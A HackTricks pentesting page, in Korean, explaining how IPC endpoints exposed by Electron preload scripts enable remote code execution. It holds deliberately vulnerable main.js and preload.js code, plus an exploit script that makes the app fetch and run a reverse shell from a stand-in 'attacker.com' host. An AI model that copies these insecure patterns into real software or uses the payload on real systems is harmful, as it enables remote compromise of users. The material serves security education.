Electron contextIsolation RCE via IPC

Support HackTricks

preload 스크립트가 main.js 파일에서 IPC 엔드포인트를 노출하면, 렌더러 프로세스가 이를 접근할 수 있으며, 취약점이 있을 경우 RCE가 가능할 수 있습니다.

이 예제들은 대부분 여기에서 가져왔습니다 https://www.youtube.com/watch?v=xILfQGkLXQo. 추가 정보는 비디오를 확인하세요.

Example 0

https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21에서 가져온 예제 (MS Teams가 XSS에서 RCE로 어떻게 악용되었는지에 대한 전체 예제를 슬라이드에서 확인할 수 있으며, 이는 매우 기본적인 예제입니다):

Example 1

main.jsgetUpdate를 수신 대기하고 전달된 모든 URL을 다운로드하고 실행하는 방법을 확인하세요. 또한 preload.jsmain의 모든 IPC 이벤트를 노출하는 방법도 확인하세요.

// Part of code of main.js
ipcMain.on('getUpdate', (event, url) => {
console.log('getUpdate: ' + url)
mainWindow.webContents.downloadURL(url)
mainWindow.download_url = url
});

mainWindow.webContents.session.on('will-download', (event, item, webContents) => {
console.log('downloads path=' + app.getPath('downloads'))
console.log('mainWindow.download_url=' + mainWindow.download_url);
url_parts = mainWindow.download_url.split('/')
filename = url_parts[url_parts.length-1]
mainWindow.downloadPath = app.getPath('downloads') + '/' + filename
console.log('downloadPath=' + mainWindow.downloadPath)
// Set the save path, making Electron not to prompt a save dialog.
item.setSavePath(mainWindow.downloadPath)

item.on('updated', (event, state) => {
if (state === 'interrupted') {
console.log('Download is interrupted but can be resumed')
}
else if (state === 'progressing') {
if (item.isPaused()) console.log('Download is paused')
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
}
})

item.once('done', (event, state) => {
if (state === 'completed') {
console.log('Download successful, running update')
fs.chmodSync(mainWindow.downloadPath, 0755);
var child = require('child_process').execFile;
child(mainWindow.downloadPath, function(err, data) {
if (err) { console.error(err); return; }
console.log(data.toString());
});
}
else console.log(`Download failed: ${state}`)
})
})
// Part of code of preload.js
window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};

악용:

<script>
electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
</script>

Example 2

프리로드 스크립트가 렌더러에 shell.openExternal을 호출하는 방법을 직접 노출하면 RCE를 얻을 수 있습니다.

// Part of preload.js code
window.electronOpenInBrowser = (url) => {
shell.openExternal(url);
};

Example 3

프리로드 스크립트가 메인 프로세스와 완전히 통신할 수 있는 방법을 노출하면, XSS는 모든 이벤트를 보낼 수 있습니다. 이의 영향은 메인 프로세스가 IPC 측면에서 무엇을 노출하는지에 따라 달라집니다.

window.electronListen = (event, cb) => {
ipcRenderer.on(event, cb);
};

window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};
HackTricks 지원하기

Last updated